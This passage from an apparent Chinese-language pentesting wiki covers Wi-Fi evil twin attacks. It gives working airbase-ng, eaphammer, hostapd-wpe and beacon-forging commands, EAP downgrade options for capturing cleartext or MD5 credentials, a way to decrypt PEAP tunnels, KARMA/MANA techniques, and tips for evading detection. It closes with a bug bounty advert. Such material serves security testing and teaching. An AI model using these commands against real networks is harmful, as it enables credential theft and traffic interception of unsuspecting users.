由于客户端的实现方式请记住802.11协议允许站点在同一ESS内的访问点之间自由漫游可以使设备更改连接的基站。可以通过提供更好的信号这并不总是可能的或通过阻止对原始基站的访问去认证数据包干扰或其他形式的DoS攻击来实现这一点。

还要注意现实世界中的无线部署通常不止一个访问点这些访问点通常更强大并且由于其放置在天花板上具有更好的视线范围。去认证一个单独的访问点通常会导致目标漫游到另一个有效的访问点而不是您的恶意AP除非附近的所有访问点都被去认证嘈杂或者您对恶意AP的放置非常小心困难

您可以创建一个非常基本的开放式恶意双胞胎(没有将流量路由到互联网的功能),如下所示:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用eaphammer创建一个恶意的双胞胎请注意要使用eaphammer创建恶意的双胞胎接口不应该处于监控模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用Airgeddon选项5,6,7,8,9在Evil Twin攻击菜单中

请注意默认情况下如果PNL中保存的ESSID被保存为WPA保护设备将不会自动连接到一个开放的Evil Twin。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放的Evil Twin或者您可以对真实AP进行DoS攻击并使用WPA Evil Twin来捕获握手使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它

一些操作系统和防病毒软件会警告用户连接到一个开放的网络是危险的...

WPA/WPA2 Evil Twin

您可以创建一个使用WPA/2的Evil Twin如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何完成4次握手,您还需要知道客户端将要使用的密码。如果您不知道它,连接将无法完成

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业恶意双胞胎

为了理解这种攻击,我建议先阅读简要的WPA企业解释

使用hostapd-wpe

hostapd-wpe需要一个配置文件来工作。为了自动化生成这些配置,你可以使用https://github.com/WJDigby/apd_launchpad下载_python文件到_/etc/hostapd-wpe/_

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中您可以选择很多不同的内容如ssid、信道、用户文件、证书/密钥、dh参数、wpa版本和认证...

使用EAP-TLS的hostapd-wpe允许任何证书登录。

使用EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下EAPHammer使用以下身份验证方法请注意首先尝试获取明文密码的是GTC然后使用更强大的身份验证方法

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长连接时间的默认方法。然而,你也可以指定服务器按照从最弱到最强的顺序提供认证方法:

--negotiate weakest

或者你也可以使用以下方法:

  • --negotiate gtc-downgrade 使用高效的GTC降级实现明文密码
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP 手动指定提供的方法(以与组织相同的顺序提供相同的认证方法,攻击将更难被检测到)。
  • 在维基中查找更多信息

使用Airgeddon

Airgeddon可以使用先前生成的证书为WPA/WPA2-Enterprise网络提供EAP身份验证。伪造的网络将将连接协议降级为EAP-MD5以便能够捕获用户和密码的MD5值。然后,攻击者可以尝试破解密码。
Airggedon为您提供了**连续的恶意双胞胎攻击(嘈杂)仅在有人连接时创建恶意攻击(平滑)**的可能性。

在恶意双胞胎攻击中调试PEAP和EAP-TTLS TLS隧道

此方法在PEAP连接中进行了测试但由于我正在解密任意的TLS隧道因此这也适用于EAP-TTLS

在_hostapd-wpe_的配置中,注释掉包含dh_file的行(从dh_file=/etc/hostapd-wpe/certs/dh改为#dh_file=/etc/hostapd-wpe/certs/dh
这将使hostapd-wpe使用RSA而不是DH来交换密钥因此您将能够稍后使用服务器的私钥解密流量。

现在像往常一样使用修改后的配置启动恶意双胞胎,使用**hostapd-wpe。同时,在执行恶意双胞胎攻击的接口上启动wireshark**。

现在或稍后当您已经捕获了一些身份验证意图时您可以将私有RSA密钥添加到wireshark中Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

添加一个新条目,并使用以下值填写表单:IP地址 = any -- 端口 = 0 -- 协议 = data -- 密钥文件选择您的密钥文件,为避免问题,请选择一个没有密码保护的密钥文件)。

然后查看新的**"解密的TLS"选项卡**

KARMA、MANA、Loud MANA和已知信标攻击

ESSID和MAC黑/白名单

以下表格列出了可用的不同类型的MFACLs管理帧访问控制列表以及使用它们时的效果

# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Karma攻击是一种利用站点使用的网络选择过程的第二种伪造接入点攻击。在2005年的一篇白皮书中Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置一个接入点来监听定向探测请求并用匹配的定向探测响应对所有请求进行回应。这会导致受影响的站点自动向攻击者的接入点发送关联请求。接入点然后回复一个关联响应使受影响的站点连接到攻击者。

MANA

根据Ian de Villiers和Dominic White的说法现代站点被设计成通过忽略那些尚未对至少一个广播探测请求作出响应的接入点的定向探测响应来保护自己免受karma攻击。这导致易受karma攻击的站点数量显著减少直到2015年White和de Villiers开发出一种绕过此类保护措施的方法。在White和de Villiers改进的karma攻击MANA攻击定向探测响应被用来重建附近站点的PNL。当从一个站点接收到广播探测请求时攻击者的接入点会用该设备的PNL中已经在直接探测中看到的任意SSID进行回应。

总之MANA算法的工作原理如下每次接入点接收到一个探测请求时首先确定它是广播探测还是定向探测。如果是定向探测发送者的MAC地址将被添加到哈希表中如果尚未存在并将ESSID添加到该设备的PNL中。然后接入点会回复一个定向探测响应。如果是广播探测接入点会对该设备的PNL中的每个网络都回复一个探测响应。

使用eaphammer的MANA攻击

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

喧闹MANA

请注意标准的MANA攻击仍然无法攻击完全不使用定向探测的设备。因此如果我们之前也不知道设备PNL中的任何条目我们需要找到其他攻击方式。

一种可能性是所谓的喧闹MANA攻击。这种攻击依赖于一个想法即在物理上彼此接近的客户设备很可能在它们的PNL中至少有一些共同的条目。

简而言之喧闹MANA攻击不是对特定设备PNL中的每个ESSID都回应探测请求而是对之前见过的所有设备的所有PNL中的每个ESSID都发送探测响应。将其与集合论相关联我们可以说AP对附近设备的所有PNL的并集中的每个ESSID都发送探测响应。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

已知的信标攻击

仍然有一些情况下Loud MANA攻击可能不会成功。
已知的信标攻击是一种“暴力破解”ESSIDs的方法试图让受害者连接到攻击者。攻击者创建一个响应任何ESSID的AP并运行一些代码发送伪造ESSID的信标这些信标的名称在一个字典中。希望受害者的PNL中包含一些这些ESSID名称并尝试连接到伪造的AP。
Eaphammer将此攻击实现为MANA攻击其中所有列表中的ESSIDs都被加载您还可以与--loud结合使用以创建Loud MANA + Known beacons攻击

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知的信标爆发攻击

已知的信标非常显眼。您可以使用Eaphammer项目中的脚本快速地向文件中的每个ESSID名称发射信标。如果将此脚本与Eaphammer MANA攻击结合使用客户端将能够连接到您的AP。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct是一种Wi-Fi标准允许设备在没有无线接入点的情况下相互连接其中两个设备之一将充当接入点称为组所有者。您可以在许多物联网设备如打印机、电视等中找到Wi-Fi Direct。

Wi-Fi Direct依赖于Wi-Fi Protected SetupWPS来安全连接设备。WPS具有多种配置方法例如按键配置PBCPIN码输入近场通信NFC

因此如果使用PIN码之前对WPS PIN的攻击也适用于这里。

EvilDirect劫持

这类似于Evil-Twin但用于Wi-Fi Direct您可以冒充组所有者试图使其他设备如手机连接到您airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0

参考资料

TODO: 查看https://github.com/wifiphisher/wifiphisher使用Facebook登录和在捕获门户中模拟WPA登录

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金仅在客户存入奖励预算后启动。在漏洞验证后您将获得奖励。

在Web3渗透测试中积累经验
区块链协议和智能合约是新的互联网掌握正在崛起的web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥